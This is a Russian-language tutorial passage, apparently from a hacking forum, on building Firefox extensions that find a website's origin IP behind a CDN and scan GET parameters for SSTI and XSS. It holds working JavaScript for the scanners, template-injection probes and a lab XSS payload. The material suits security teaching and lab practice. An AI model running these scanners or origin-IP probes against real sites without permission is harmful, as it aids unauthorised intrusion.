    const url = `https://viewdns.info/iphistory/?domain=${domain}`
    let tabInfo = await browser.tabs.create({
        active: false,
        url
    })

    createdTabs.push(tabInfo.id)
    browser.tabs.onUpdated.addListener(
        onChangeTabHandler,
        {
            tabId: tabInfo.id,
            properties: ["status"]
        }
    )
}

function onChangeTabHandler(tabId, changeInfo, newTabState) {
    if (!changeInfo.status || changeInfo.status != "complete") return

    browser.tabs.sendMessage(tabId, {
        action: ACTONS.parseIPs
    })

}

async function checkIPAddressess(hostName, ips) {
    console.log('Start checking domain:', hostName)

    console.log(JSON.stringify({
        hostName, ips
    }))

    return true
}

browser.tabs.onActivated.addListener(getCurrentURL)
browser.runtime.onMessage.addListener(onMessageHandler)

async function onMessageHandler(data, sender) {
    if (data.action == ACTONS.startParsingIP) {
        let domain = getDomain()
        await openAndparseViewDNS(domain)
    } else if (data.action == ACTONS.needCaptcha) {
        console.log(data, sender)
        browser.tabs.update(sender.tab.id, { highlighted: true, active: false })
    } else if (data.action == ACTONS.saveIPs) {
        console.log(data.action, data.domain, data.ips.length, data.ips)
        if (data.domain && data.ips && data.ips.length)
        {
            browser.storage.local.set({realIp:{[data.domain]:{foundedIPs: data.ips, step: 1}}})
            browser.tabs.remove(sender.tab.id)
            createdTabs = createdTabs.filter(el => el != sender.tab.id)
            checkIPAddressess(data.domain, data.ips)
        }
    }
    return false
}

В самое начало добавлю создание порта, через который будем взаимодействовать с нашим скриптом:

JavaScript:
let port = browser.runtime.connectNative("real_ip");

Как только порт создастся, браузер в фоне запустит наш скрипт. Скрипт, в соответствии с бесконечным циклом, будет спокойно ждать сообщений от браузера. В нашем случае, код будет выглядеть так:

JavaScript:
    port.postMessage(JSON.stringify({
        hostName, ips
    }))

Вставим его в функцию checkIPAddressess():

JavaScript:
async function checkIPAddressess(hostName, ips) {
    console.log('Start checking domain:', hostName)
    protocols = ['http', 'https']

    console.log(JSON.stringify({
        hostName, ips
    }))

    port.postMessage(JSON.stringify({
        hostName, ips
    }))

    return true
}

Раз уже коснулся этой фукнции, сразу допишу кусок кода, который будет выполнять fetch запросы по http. У нас ведь два протокола. Если сервер ответит по http, значит IP-адрес подходит и нет смысла повторное его прогонять уже по https, Да, шанс низкий, тем более очень многие перешли исключительно на секьюр-протокол. Но ситуации бывают разные. В любом случае, решать вам. Если считаете, что время затрачиваемое на дополнительные запросы, которые в большинстве своем будут полностью отрабатывать таймауты, слишком большое… всегда можно удалить цикл for. Либо добавить страницу опций расширения и создать возможность подключать http по необходимости.

Итоговый код у меня получился такой:

JavaScript:
async function checkIPAddressess(hostName, ips) {
    console.log('Start checking domain:', hostName)
    protocols = ['http', 'https']

    const headers = {
        'Host': hostName      
    }

    for(let ip of ips) {
        try {
            let response = await fetch(`http://${ip}`, {
                headers
            })
            console.log(`Checked IP: ${ip} Hostname: ${hostName} Status: ${response.status}` )
            if (response.status == 200) {
                ips = ips.filter(item => item != ip)
                saveCheckedIP(true, ip, hostName)
            }
        } catch(e) {
            console.log(`Error! Check IP: ${ip} Hostname: ${hostName} Error: ${e}` )
        }
    }

    console.log(JSON.stringify({
        hostName, ips
    }))

    port.postMessage(JSON.stringify({
        hostName, ips
    }))

    return true
}

Вернемся к порту для обмена данными с внешним скриптом. Нам нужно повесить несколько слушателей на события:

JavaScript:
port.onMessage.addListener((response) => {
    console.log("Received: ", response);
    if (response && !response.error)
        saveCheckedIP(response.success, response.ip, response.hostName)
});

port.onDisconnect.addListener((port) => {
    if (port.error) {
        console.log(port.error)
        console.log(`Disconnected due to an error: ${port.error.message}`);
    } else {
        console.log(`Disconnected`, port);
    }
});

Соответственно, если приходит сообщение на порт и в нем успешно найденный адрес, то сохраняем его. Второе сообщение нужно для отслеживания ошибок. Если порт отваливается сразу после создания, значит где-то в процессе запуска есть проблемы. В таком случае, мы либо увидим ошибку и будем понимать что надо исправить. Либо это будет просто сообщение о дисконнекте, а значит проблемы где-то в самом скрипте.

Вы уже заметили функцию saveSuccessIP(), займемся ей. Все, что нам нужно сделать, это получить текущее значение локального хранилища, прикрепить к нему найденный IP и снова сохранить.

JavaScript:
async function saveCheckedIP(success, ip, hostName) {
    let currentValue = await readLocalStorage(hostName)
    let successStatus = success ? IP_TYPE.success: IP_TYPE.wrong
   
    if (!currentValue[successStatus] || !currentValue[successStatus].length) {
        currentValue[successStatus] = [ip]
    } else {
        currentValue[successStatus] = [...new Set([...currentValue[successStatus], ip])]
    }
    const successCount = currentValue[IP_TYPE.success] && currentValue[IP_TYPE.success].length || 0
    const wrongCount = currentValue[IP_TYPE.wrong] && currentValue[IP_TYPE.wrong].length || 0

    if (currentValue.foundedIPs.length == successCount + wrongCount)
        currentValue.state = STATE.finished

    await browser.storage.local.set({[hostName]:currentValue})
}

Чтобы выводить информацию в режиме реального времени, используем событие хранилища onChanged. Его можно вешать, как на конкретный вид хранилища, типа local, sync, managed. Так и в целом на browser.storage. При этом, во втором варианте, помимо объекта с изменениями, будет передаваться значение “area”, которое указывает на конкретный тип хранилища (local, sync…). Объект с изменениями выглядит следующим образом:

1733051679270.png


Соответственно, в нем каждый изменяемый ключ представлен отдельным объектом. Каждый объект хранит в себе старое значение и новое значение. Мы будем работать исключительно с newValue. Обрабатывать событие будем в фоновом скрипте. Можно было бы работать прямо в popup, но по непонятной мне причине, в попап событие срабатывает только один раз. Возможно я упустил что-то, но живу с этим уже не первый год. А судя по вопросам в гугле, не один я… Поэтому идем в фон и навешиваем обработчик события:

JavaScript:
browser.storage.onChanged.addListener(async changes => {
    try{
        let hostName = Object.keys(changes)[0]
      
        if (!changes[hostName].newValue) return

        let message = {
            action: ACTONS.changeState,
            hostName,
            value: changes[hostName].newValue
        }

        await browser.runtime.sendMessage(message)

    } catch(e) {
        console.log('ERROR CHANGED STORAGE', e)
    }

})

В скриптах нет условий при которых могли бы обновляться одновременно несколько ключей. Если такое произойдет, значит пользователь попытался одновременно работать с несколькими сайтами, а мы такую задачу не решали. Поэтому, без зазрения совести, получаю первый ключ объекта изменений и считаю его именем хоста. По другому и быть не может, так как в расширении все записываем по имени хоста.

Если у нас нет нового значения, значит пользователь открыл инспектор расширений и почистил хранилище. Можно избежать этой проверки, ничего не произойдет, но должны же мы хоть где-то придерживаться правил хорошего тона?

Результат работы, это отправка сообщения в попап. Передаем имя хоста, чтобы можно было сравнить с именем хоста в попапе. Вдруг пользователь запустил несколько чеков и мы начнем выводить ему то, чего не должны? Кроме имени хоста, соответственно, обозначаем действие и отдаем новые данные из хранилища.

Правим popup.html:

HTML:
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="../bootstrap/bootstrap.min.css">
    <title>Document</title>
    <style>
        body {
            width: 400px;
            height: 400px;
        }

        #start, #process {
            height: 100vh;
        }

    </style>
</head>
<body>
    <div class="container justify-content-center align-items-center">
        <div id="info" style="display: none;">
            <div id="status">Status: idle</div>
            <div id="success"></div>
            <div id="wrong"></div>
            <button id="renew" class="btn btn-primary">Renew</button>
        </div>
        <div id="start" class="row justify-content-center align-items-center">
            <div class="col-sm text-center">
                <button id="start-check" class="btn btn-primary">Get domain real IP</button>
            </div>
        </div>
        <div id="process" class="row justify-content-center align-items-center text-center" style="display: none;">
            <img src="../images/processing.gif" style="width: 256px;height: 256px;">
        </div>
    </div>
    <script src="../global.js"></script>
    <script src="popup.js"></script>
</body>
</html>

Изменения минимальные, просто добавлен еще один div. Осталось изменить popup.js под новые реалии. Выглядеть он будет так:
JavaScript:
let currentURL, currentUrlObj, hostname


document.querySelector('#start-check').addEventListener('click', startParsingHandler)
document.querySelector('#renew').addEventListener('click', startParsingHandler)

browser.runtime.onMessage.addListener(async data => {
    if (data.action !== ACTONS.changeState) {
        console.log('Not popup action', data.action)
        return false
    }


    if (data.hostName !== hostname) {
        console.log('Other hostname', data.hostName, hostname)
        return false
    }
  
    showInfo(data.value)
    return true
})


async function init(){
    await getCurrentURL()   
    hostname = getDomain()
    console.log(hostname)
    browser.storage.local.get([hostname], result => {
        console.log(result)
        console.log(result[hostname])
        if (result && result[hostname]){


            return showInfo(result[hostname])
        }
    })
}


init()


function startParsingHandler(event) {
    event.preventDefault();
    document.querySelector('#start').style.display = 'none'
    document.querySelector('#process').style.display = 'block'
    console.log('popup function', ACTONS.startParsingIP)
    let response = browser.runtime.sendMessage({
        action: ACTONS.startParsingIP
    })   
}


function createListAndShow(type, ipList) {
    const ul = document.createElement('ul')
    for(let ip of ipList) {
        const li = document.createElement('li')
        li.innerText = ip
        ul.append(li)
    }
    document.querySelector(`#${type}`).innerHTML = `<h3>${type}</h3>`
    document.querySelector(`#${type}`).append(ul)
}


function showInfo(value) {
    document.querySelector('#start').style.display = "none"
    document.querySelector('#info').style.display = "block"
    document.querySelector('#status').innerHTML = `Status: ${value.state}`


    if (value.state == STATE.finished)
        document.querySelector('#process').style.display = 'none'


    if (value[IP_TYPE.success] && value[IP_TYPE.success].length)
        createListAndShow(IP_TYPE.success, value[IP_TYPE.success])


    if (value[IP_TYPE.wrong] && value[IP_TYPE.wrong].length)
        createListAndShow(IP_TYPE.wrong, value[IP_TYPE.wrong])
}

Начнем с получения сообщения от фонового скрипта. В нем проверяем, то ли действие и правильный ли хост. Если все ок, выводим информацию при помощи функции showInfo.

JavaScript:
browser.runtime.onMessage.addListener(async data => {
    if (data.action !== ACTONS.changeState) {
        console.log('Not popup action', data.action)
        return false
    }

    if (data.hostName !== hostname) {
        console.log('Other hostname', data.hostName, hostname)
        return false
    }
  
    showInfo(data.value)
    return true
})

Вывод вынес в отдельную функцию, так как нам нужно делать все тоже самое при инициализации попап-окна. Кстати, инициализация вынесена также в отдельную асинхронную функцию, которая запускается при срабатывании скрипта (как только открыли окошко):

JavaScript:
async function init(){
    await getCurrentURL()   
    hostname = getDomain()
    console.log(hostname)
    browser.storage.local.get([hostname], result => {
        if (result && result[hostname]){
            return showInfo(result[hostname])
        }
    })
}

init()

Разбирать showInfo() не вижу смысла, так как там простейшие манипуляции с HTML-элементами. Обращу лишь внимание на то, что некоторые функции вынес из фонового скрипта в global.js, который подгружается и в фоне и в попап-окне. Потребовалось это из-за необходимости получать имя текущего хоста. Завершенный global, со всеми функциями и константами, выглядит следующим образом:

JavaScript:
const ACTONS = {
    startParsingIP: 'startParsingIP',
    needCaptcha: 'neetCaptcha',
    parseIPs: 'parseIPs',
    saveIPs: 'saveIPs',
    activateTab: 'activateTab',
    changeState: 'changeState'
}

const STATE = {
    idle: 'idle',
    parseViewDNS: 'parseViewDNS',
    fetchHTTP: 'fetchHTTP',
    fetchHTTPS: 'fetchHTTPS',
    finished: 'finished'
}

const IP_TYPE = {
    success: 'success',
    wrong: 'wrong'
}

async function getCurrentURL(activeInfo) {
    let activeTab = await browser.tabs.query({active:true, currentWindow: true})
    currentURL = activeTab[0].url
    currentUrlObj = new URL(currentURL)
    return currentURL
}

function getDomain() {
    return currentUrlObj.hostname.split('.').slice(-2).join('.')
}

На этом расширение можно считать завершенным. Надеюсь, что не зря была затеяна эта свистопляска и опыт будет полезен вам. Включая неудачные попытки, которые также демонстрируют разные важные моменты в написании расширений.

Попытка обмануть браузер и подмена заголовков​

Напомню, что это неудачная попытка. Но здесь неплохо демонстрируется процесс подмены заголовков при выполнении запроса браузером. Причем, работает это с любыми запросами. Даже если сайт или расширение делают fetch-запрос, можно перехватить используя в фильтре xmlhttprequest.

Процесс повествования сохранен таким, каким был изначально.

Что если мы откроем вкладку с небезопасным сайтом? Firefox покажет нам такое предупреждение:

1733051521375.png


Соответственно, для автоматизации мы можем сделать простой поиск HTML-элемента и эмулировать клик по нему. На скрине видно, что идентификатор кнопки “Дополнительно” это “advancedButton”. Но, в данном случае, можно проигнорировать эту кнопку и кликнуть сразу по “exceptionDialogButton”. Попытка вызвать клик из консоли браузера сработала, сразу открылся интересующий сайт.

Но перед эмуляцией нам нужно подменить заголовок “Host”. Сделать это не сложно. У объекта веб-реквестов есть событие “onBeforeSendHeaders”. Функция обрабатывающая это событие должна возвращать новый набор заголовков. Если ничего не вернуть, ошибки не произойдет, просто при запросе будут использоваться старые заголовки. Напишем функцию checkIP заново:

JavaScript:
async function checkIP(protocol, ip, hostName) {
    console.log(`${protocol}://${ip}`)

    let tab = await browser.tabs.create({active: false})

    await browser.webRequest.onBeforeSendHeaders.addListener(onBeforeSendHeadersHandler, {
        urls: [`<all_urls>`],
        tabId: tab.id,
    }, ['blocking', 'requestHeaders'])

    await browser.webRequest.onSendHeaders.addListener(onSendHeadersHandler, {
        urls: [`<all_urls>`],
        tabId: tab.id,
    }, ['requestHeaders'])

    browser.webRequest.onErrorOccurred.addListener(
        onErrorOccurredHandeler,
        {
            urls: [`<all_urls>`],
            tabId: tab.id,
        }
      )


    await browser.tabs.update(tab.id, {
        url: `${protocol}://${ip}`
    })


    return true
}

Сначала создаю пустую вкладку. Далее вешаю события. Для наглядности добавил обработку события, происходящего после отправки заголовков. В обработчике просто вывожу объект. Мы же должны увидеть, что подмена заголовка произошла. Отслеживание ошибки нам нужно, так как сервер браузеру отдает ошибку при несовпадении сертификата, а несовпадение будет ведь мы обращаемся по ip, а сертификат выписан на домен.

Код функции подмены заголовка:

JavaScript:
function onBeforeSendHeadersHandler(details) {
    for (const header of details.requestHeaders) {
        if (header.name.toLowerCase() === "host") {
          header.value = hostname;
        }
      }
      return { requestHeaders: details.requestHeaders };
}

Для теста жестко пропишу хост и ip-адрес:

JavaScript:
let hostname = 'whoer.com'

async function checkIPAddressess(hostName, ips) {
    console.log('Start checking domain:', hostName)
    protocols = ['http', 'https']
    ip = '111.230.17.51'
    monitoringIPs.push(ip)
    await checkIP('https', ip)
    return true
}

Смотрим результат:

1733051447669.png


Отлично, заголовок поменялся, но что мы увидим в ошибках?

1733051436848.png


В ошибках мы видим большую проблему. Ошибка имеет текстовое описание. Еще и локализованное. Это значит, что придется попариться. В продакшене было бы логично использовать возможности локализации расширений (объект i18n), чтобы прописать для разных языков разные версии и с ними работать. Сделаем проще. Создадим массив, в который запихаем разные вариации ключевых слов: “SSL”, “certificate”, “сертификат”. Возможно, в процессе работы придется добавить еще. Дело в том, что ошибки могут быть разными. В ряде случаев, например, мы встретим: "Издатель сертификата узла не распознан."

На этом данный путь и заканчивается, потому что, как писал выше, не нашел хоть какого-то шанса для инъекции скрипта автоматизации без вмешательства пользователя. Только если переходить на Chrome, либо добавлять IP с ошибками сертификатов как потенциально возможные и проходить их руками.

Автоматическое обнаружение XSS, SSTI, etc.​

Принцип работы большинства сканеров, достаточно простой — на входе у нас полезная нагрузка, на выходе поиск ожидаемого результата. Результатом может быть конкретное значение. Как например, при тесте SSTI мы можем закинуть перемножение рандомных чисел, а на выходе искать уже известное произведение. Может быть радикальное изменение размера ответа сервера, может быть фиксация вывода информации об ошибке или радикальное изменение времени ответа, при использовании функций приостанавливающих выполнение кода.

Подобный подход позволяет определить огромное количество типов уязвимостей, всякие мисс-конфиги, LFI, SQLi и т.д. Но важно понимать, что речь идет о достаточно простых, поверхностных и примитивных уязвимостях. Даже “взрослые” сканеры могут не найти какую-нибудь вторичную SSTI, когда сама инъекция запихивается в профиле пользователя, а результат работы можно найти на какой-нибудь богом забытой странице со списком пользователя. Той странице, про которую давно забыли разработчики и по какой-то причине забыли добавить на нее проверку перед выводом. Чтобы найти подобную уязвимость, в идеале, надо после закидывания пэйлоада проходить по всей карте сайта и искать результат.

Ищем SSTI​

Server-Side Template Injection - тип инъекции при котором эксплуатируются огрехи в работе разработчика с шаблонизаторами.

Шаблонизаторы — это некая синтаксическая надстройка, которая позволяет управлять выводом на основе предопределенных макросов. Например, в PHP есть известный всем Twig. Чтобы вывести в шаблоне Twig переменную “super_var“, достаточно обернуть ее в {% super_var %}. Тем самым, шаблонизаторы помогают максимально отделить бэкенд-разработку от фронтенд, превратив фронтенд в создание шаблонов вывода. Что происходит с “super_var” и как туда попадает значение, фронтендера не колышет, его задача правильно все сверстать и вывести конечные значения.

В популярной модели построении приложений MVC (Model-View-Controller), при которой отделяется слой с данными от бизнес-логики и вывода, шаблонизаторы занимают слой View. Вся эта модель нужна, в большей степени, для разграничения зон разработки. Разделение зон ответственности между разработчиками, повышает эффективность, делает структуру понятнее и процесс быстрее. Но самое главное, помогает избежать ошибок… но это не точно, так как SSTI существует и несет в себе реальную угрозу, т.к. хакер может получить безграничный доступ к серверу найдя ошибку в шаблоне.

Информацией о поиске SSTI вряд ли кого-то можно удивить на форуме. Нам нужно найти точку через которую мы можем влиять на шаблон и понять какой шаблонизатор используется. Для практики будем использовать эту лабораторную. В ней используется Embedded Ruby (ERB), его синтаксис такой: <%= … %>.

Сама лаба очень простая, нам нужно кликать на детали разных продуктов, пока не получим сообщение “Unfortunately this product is out of stock”. Таким образом наткнувшись на параметр “message”, который и уязвим к инъекции. Задача простая, осталось выбрать наиболее удобный способ для решения.

Контекстное меню браузера​

Решил зацепить тему создания своих пунктов контекстного меню для браузера. Таким образом, не только реализуем удобный способ запуска сканера, но и создадим расширение, которое можно легко масштабировать. Тем самым, вы легко сможете добавить сколько угодно собственных легких сканеров.

Для начала, добавим в манифест разрешение “contextMenus”, которое организует нам доступ к соответствующему объекту:

JavaScript:
"permissions": ["contextMenus"]

После иду в фоновый скрипт, создаю в нем пункт меню при помощи “browser.contextMenus.create”:

JavaScript:
browser.runtime.onInstalled.addListener(async () => {

    browser.contextMenus.create(
        {
          id: "ssti-get-params-detect",
          title: "Check GET-parameters on SSTI",
          contexts: ["page"],
        }
    )
})

Остановиться стоит на пункте “context”. В нашем случае это “page”, т.е. пункт меню будет показываться при клике на любой странице в любом месте.

1733051397855.png


Но бывает еще огромное количество возможных контекстов. Например, если есть желание выводить пункт меню, только если пользователь выделил какой-то текст на странице и работать с ним (например, отправлять домен на поиск IP-адреса), нужно использовать контекст “selection”. Вот список доступных контекстов:

Код:
"all"
"page"
"frame"
"selection"
"link"
"editable"
"image"
"video"
"audio"
"launcher"
"browser_action"
"page_action"
"action"

Это не все доступные настройки пунктов меню. Настройки разнообразные, позволяют как угодно манипулировать внешними видом, но разбирать все не вижу смысла. Если потребуется, всегда можно обратиться к MDN или справке по Chrome Extensions Development. Я лишь от части коснусь, когда буду наращивать функционал.

Пункт меню есть, нужно его заставить работать:

JavaScript:
browser.contextMenus.onClicked.addListener((info, tab) => {
    console.log(info)
})

Пока просто вывел информацию о меню, чтобы продемонстрировать, что там внутри:

1733051367444.png


Сейчас нас интересуют только два свойства: menuItemId и pageURL. По первому мы будем понимать, какое именно действие от нас хочет пользователь. Второй использовать для извлечения url и параметров. Поправим обработчик клика:

JavaScript:
browser.contextMenus.onClicked.addListener((info, tab) => {
    switch(info.menuItemId) {
        case "ssti-get-params-detect":
            return checkParamsSSTI(info.pageUrl)
    }
})

В данном случае, мы можем обойтись обычными fetch-запросами. Преобразуем строку в объект URL, после чего циклом пройдем по всем GET-параметрам. Будем выполнять запросы, подменяя параметры на полезную нагрузку. Накидал простую функцию чека:

JavaScript:
async function checkParamsSSTI(link) {
    let url = new URL(link)
    let paramNames = url.searchParams.keys()
    console.log(url)

    for (let param of paramNames ) {
        let newUrl = decodeURI(link).replace(`${param}=${url.searchParams.get(param)}`, `${param}=<%= 717*717 %>`)
        console.log('New url is:', newUrl)
        console.log(param, url.searchParams.get(param))

        let response = await fetch(newUrl)
        let responseText = await response.text()
        if (responseText.includes(`514089`))
            console.log('Maybe Found SSTI')
    }
}

Результат работы по лаборатоной:

1733051325488.png


Отлично! Функция прекрасно справляется со своей задачей. Но, конечно же, она пипец какая неприменимая в реальной жизни. Из минусов:

  1. Мы всегда используем один и тот же шаблон <%= … %>
  2. Проверка фиксированного значения, которое где-то да встретится
  3. Нет никаких подтверждающих запросов.

Решить эти проблемы не сложно. Для начала объявлю отдельный массив, в который сложу потенциально возможные шаблонизаторы. Для примера взял несколько. Если потребуется, больше… стырил вот такую схему с хактрикс:

1733051291711.png


Мой объект будет выглядеть так:

JavaScript:
const templates = [
    {
        name: "ERB",
        prefix: "<%= ",
        suffix: " %>"
    },
    {
        name: "Pug",
        prefix: "#{",
        suffix: "}"
    },
    {
        name: "Dot",
        prefix: "{{",
        suffix: "}}"
    },
]
let foundedTemplate
const maxCheckSteps = 2

Сразу же объявил глобальную переменную foundedTemplate. Если мы анализируя один из параметров нашли шаблонизатор, положим его объект (из массива возможных шаблонов) в эту переменную и будем использовать по отношению к другим параметрам.

Переменная maxCheckSteps говорит сама за себя, мы будем её использовать для рекурсивного подтверждения найденной SSTI. Можно хоть 10 подтверждений добавить, если потребуется.

Теперь нам надо разбить процедуру чека на несколько функций, каждая из которых будет выступать чем-то вроде middle для предыдущей и следующей.

JavaScript:
async function checkParamsSSTI(link) {
    let url = new URL(link)
    let paramNames = url.searchParams.keys()

    foundedTemplate = null

    for (let param of paramNames ) {
        await checkParam(link, param, url.searchParams.get(param))
    }
}

Эта функция сильно упростилась, основная её задача это поочередно передать ссылку и параметры в checkParam(). Да, кстати, извиняюсь за названия функций))))

Следующая функция отвечает за выбор шаблона с которым чекер будет работать. Если foundedTemplate содержит в себе какой-то шаблон, соответственно, работаем с ним. Если нет, перебираем все шаблоны подряд, пока не получим подтвержденный результат. Чтобы не проходить прям по всем шаблонам, ведь список может быть большим, если получили подтверждение, выходим из цикла.

Чтобы унифицировать параметр, в функции производится подмена значения на #rnd_expression_check#.
JavaScript:
async function checkParam(link, paramName, paramValue) {
    let result = false
    if (!foundedTemplate) {
        for (let template of templates) {
            console.log(template)
            let newUrl = decodeURI(link)
                            .replace(`${paramName}=${paramValue}`, `${paramName}=${template.prefix}#rnd_expression_check#${template.suffix}`)
            result = await checkWithConfirmation(newUrl, template)
            if (result) {
                foundedTemplate = template
                break
            }
        }
    } else {
        let newUrl = decodeURI(link)
                        .replace(`${paramName}=${paramValue}`, `${paramName}=${foundedTemplate.prefix}#rnd_expression_check#${foundedTemplate.suffix}`)
        result = await checkWithConfirmation(newUrl, foundedTemplate)
    }


    if (result) {
        let message = `Found SSTI. Template engine is ${foundedTemplate.name} (${foundedTemplate.prefix}...${foundedTemplate.suffix}). Vulnerable parameter is ${paramName}`
        browser.notifications.create(
            {
                type: 'basic',
                title: 'Found SSTI',
                message: message, 
                iconUrl: browser.runtime.getURL("images/logo_96.png"),
                priority: 1       
            }
        )
        console.log(message)
    }
}

При нахождении уязвимости, выводим в консоль сообщение пользователю. Да, чтобы не тратить время и не растягивать и так большую статью, в этот раз не стал заморачиваться с интерфейсом.

JavaScript:
async function checkWithConfirmation(link, template, checkStep = 1) {
    let value1 = getRandomInt(300, 1000)
    let value2 = getRandomInt(300, 1000)   
    let searchResult = value1 * value2
    let newUrl = link.replace('#rnd_expression_check#', `${value1.toString()}*${value2.toString()}`)

    if (await checkRequest(newUrl, searchResult)) {

        if (checkStep >= maxCheckSteps) return true

        console.log(`Maybe found SSTI. Potential template engine is ${template.name}`)
        return await checkWithConfirmation(link, template, checkStep + 1)
    }

    return false
}

Эта функция рекурсивно чекает параметр по установленному шаблону. Сгенерировали случайные значения для перемножения, заранее посчитали результат и делаем запрос. Если запрос не принес результата, значит SSTI точно нет. Если результат есть, нужно убедиться с другими значениями… вдруг на сайте просто было искомое значение. Убеждаемся, что количество проверок не превысило максимум, выводим сообщение о потенциальной уязвимости и функция вызывает сама себя, увеличив шаг. При таком подходе, если слетит хоть одна проверка, мы считаем предыдущие срабатывания ложными. Противоположность, все срабатывания вернут true, а значит уязвимость есть.

Потенциально есть два тонких места:
  1. Нужно быть аккуратными со значениями. С одной стороны, значения должны быть достаточно высокими, так как малые значения легко могут оказаться в тексте сайта и без уязвимости. С другой стороны, числа не должны быть слишком большими, чтобы JS и таргет получили одинаковый результат вычислений.
  2. Если проверок будет много или сервер в какой-то момент перестанет отвечать, уязвимость не будет обнаружена. Но опять же, у нас останутся сообщения о потенциальной уязвимости.

Завершает все функция, которая просто делает запрос и ищет в тексте результат перемножения:

JavaScript:
async function checkRequest(link, searchResult) {
    let response = await fetch(link)
    let responseText = await response.text()

    if (responseText.includes(searchResult)) return true

    return false
}

Ну и единственная не проанализированная функция, это простой генератор целочисленных значений в указанных пределах:

JavaScript:
function getRandomInt(min, max) {
    min = Math.ceil(min);
    max = Math.floor(max);
    return Math.floor(Math.random() * (max - min + 1)) + min;
}

Сделать более сложную реализацию можно. Например, для поиска вторичной инъекции SSTI можно добавить собственный краулер, который обойдет все внутренние ссылки на сайте или просканит sitemap (елси он есть). Если подразумевается регистрация профиля, можно зарегистрировать пользователя с уникальным логином и сканить уже в поиске логина, чтобы выделить потенциально уязвимые страницы. Ну и, соответственно, при каждой проверке SSTI пробегать по интересным страницам и искать значение подтверждающее инъекцию.

Работаем с XSS​


Будем дорабатывать предыдущее расширение, поэтому нужно привести в порядок меню. Чтобы не захламлять меню, сделаем общий пункт, а существующий и пункт запуска проверки на XSS сделать подпунктами.

1733051195326.png


JavaScript:
browser.runtime.onInstalled.addListener(async () => {

    browser.contextMenus.create(
        {
          id: "vulnerability-checker",
          title: "Vulnerability scanner",
          contexts: ["all"],
        }
    )

    browser.contextMenus.create(
        {
          id: "ssti-get-params-detect",
          parentId: "vulnerability-checker",
          title: "Check GET-parameters on SSTI",
          contexts: ["all"],
        }
    )

    browser.contextMenus.create(
        {
          id: "vulnerability-separator-1",
          parentId: "vulnerability-checker",
          type: "separator",
          contexts: ["all"],
        }
    )

    browser.contextMenus.create(
        {
          id: "xss-inputs-detect",
          parentId: "vulnerability-checker",
          title: "Check inputs for XSS",
          contexts: ["all"],
        }
    )
})

У нас начинает формироваться подобие многофункционального сканера уязвимостей. Может появиться желание расширить количество видов проверок уязвимостей, либо добавить какие-то новые уязвимости. Например, обладая знаниями из статьи, вы без проблем сможете не просто добавить сканер SQLi, но и организовать запуск Sqlmap через нативные сообщения. Поэтому было бы неплохо, изменить структуру нашего приложения. Превратить сборную солянку в нормальный поддерживаемый модульный код. Для этого оптимально подойдет Webpack.

Прикручиваем Webpack​

Если вы занимаетесь Javascript-программированием, вы скорее всего уже знакомы с Webpack. Поэтому, я не буду сильно заострять внимание на мелочах и все описывать. Пробегусь сугубо по верхам.

Вебпак это комбайн, который анализирует зависимости и по заданным пользователям правилам создает готовое к использованию приложение. В данном случае, расширение для браузера. Может быть React-приложение, может быть какое угодно. Для нас важно, что при помощи Вебпака мы можем писать не заморачиваясь о разных зависимостях, как между своими файлами, так и пакетами NPM, При необходимости, во время сборки, могут быть применены разного рода функции. Например, минификации или обфускации. В итоге, в исходниках у вас огромные сложный проект, а на выходе минимальный скомпонованный набор готовых к работе файлов.

После переделки проекта, нас должна получиться подобная структура файлов:

1733051154520.png


В “static” попадает все, что не планируется изменяться, т.е. то что будет копировать Webpack по принципу “как есть”. Например, можно туда же определить html-файлы для попап-окна или опций. Если используется css и без каких-то препроцессоров, их тоже смело можно закидывать в “static”.

Папка “src” предполагает под собой сборку из исходников. В нашем случае в ней манифест и фоновые скрипты. Манифест скорее для примера, так как конфигурация Webpack предполагает подмену значений “name” и “description” из package.json. Содержимое файлов выкладываю в архиве ssti_webpack.

Специально не стал удалять лишнее из проекта (копирование css, обработку контентных скриптов), чтобы у вас был перед глазами пример. Плюс, контентный скрипт нам еще потребуется. В сущности, вебпак в данной конфигурации не делает особых преобразований. Разве что слегка правит manifest.json, собирает и упаковывает зависимости с основным кодом в один файл. Все остальное просто копируется. Если внимательно почитать конфиг, на выходе мы возвращаем список объектов, в которых описаны правила работы для вебпака. Есть входные точки, с указанием шаблонов и правил поиска файлов. Есть конфигурация плагинов, которые обрабатывают тот или иной тип файлов. Есть выходные точки, указывающие куда и под какими именами складывать скомпонованные файлы.

Файл package.json
JSON:
{
    "name": "vulnerability-checker",
    "version": "1.0.0",
    "description": "Developed for xss.pro",
    "scripts": {
      "build": "webpack --config webpack.config.js --mode production"
    },
    "author": "",
    "license": "ISC",
    "devDependencies": {
      "babel-loader": "^8.4.1",
      "copy-webpack-plugin": "^6.4.1",
      "source-map-loader": "^1.1.3",
      "transform-json-webpack-plugin": "^0.0.2",
      "web-ext": "^8.3.0",
      "webpack": "^4.46.0",
      "webpack-cli": "^4.10.0"
    }
  }

Обращаю внимание, что использую 4ю версию вебпака. В пятой прошли мощные изменения, из-за которых я неоднократно сталкивался с проблемами. Например, беда с полифилами. По-хорошему нужно бы с этим разобраться, но для разработки под себя я выбрал простейший путь понижения версии.

После создания package.json, мощно установить зависимости через “npm -i” и запустить сборку расширения через:

JavaScript:
npm run build

На выходе появится папка build, из которой и надо добавлять расширение в браузер.

Теперь все готово к нормальной разработке и можем переходить к добавлению первых файлов

Определяем точку инъекции​


Работать будем снова с простенькой лабой, но для того, чтобы решение было интересным и полезным к дальнейшему применению, будет крайне неправильно остановиться только лишь на решении лабы. Во-первых, будем использовать список полезных нагрузок полученный из файлов. Во-вторых, сделаем чек уязвимости не через отправку запросов, а автоматизацией в браузере. Расширение будет брать пэйлоад из файла, запихивать его в текстовое поле и жать кнопку “Отправить”. После отправки, ищем результат работы полезной нагрузки. И так до тех пор, пока не наткнемся на подходящую нагрузку.Ссылка на лабу.

Само решение без хитростей, нужно отправить в поисковом поле

JavaScript:
<script>alert()</script>

1733050646821.png


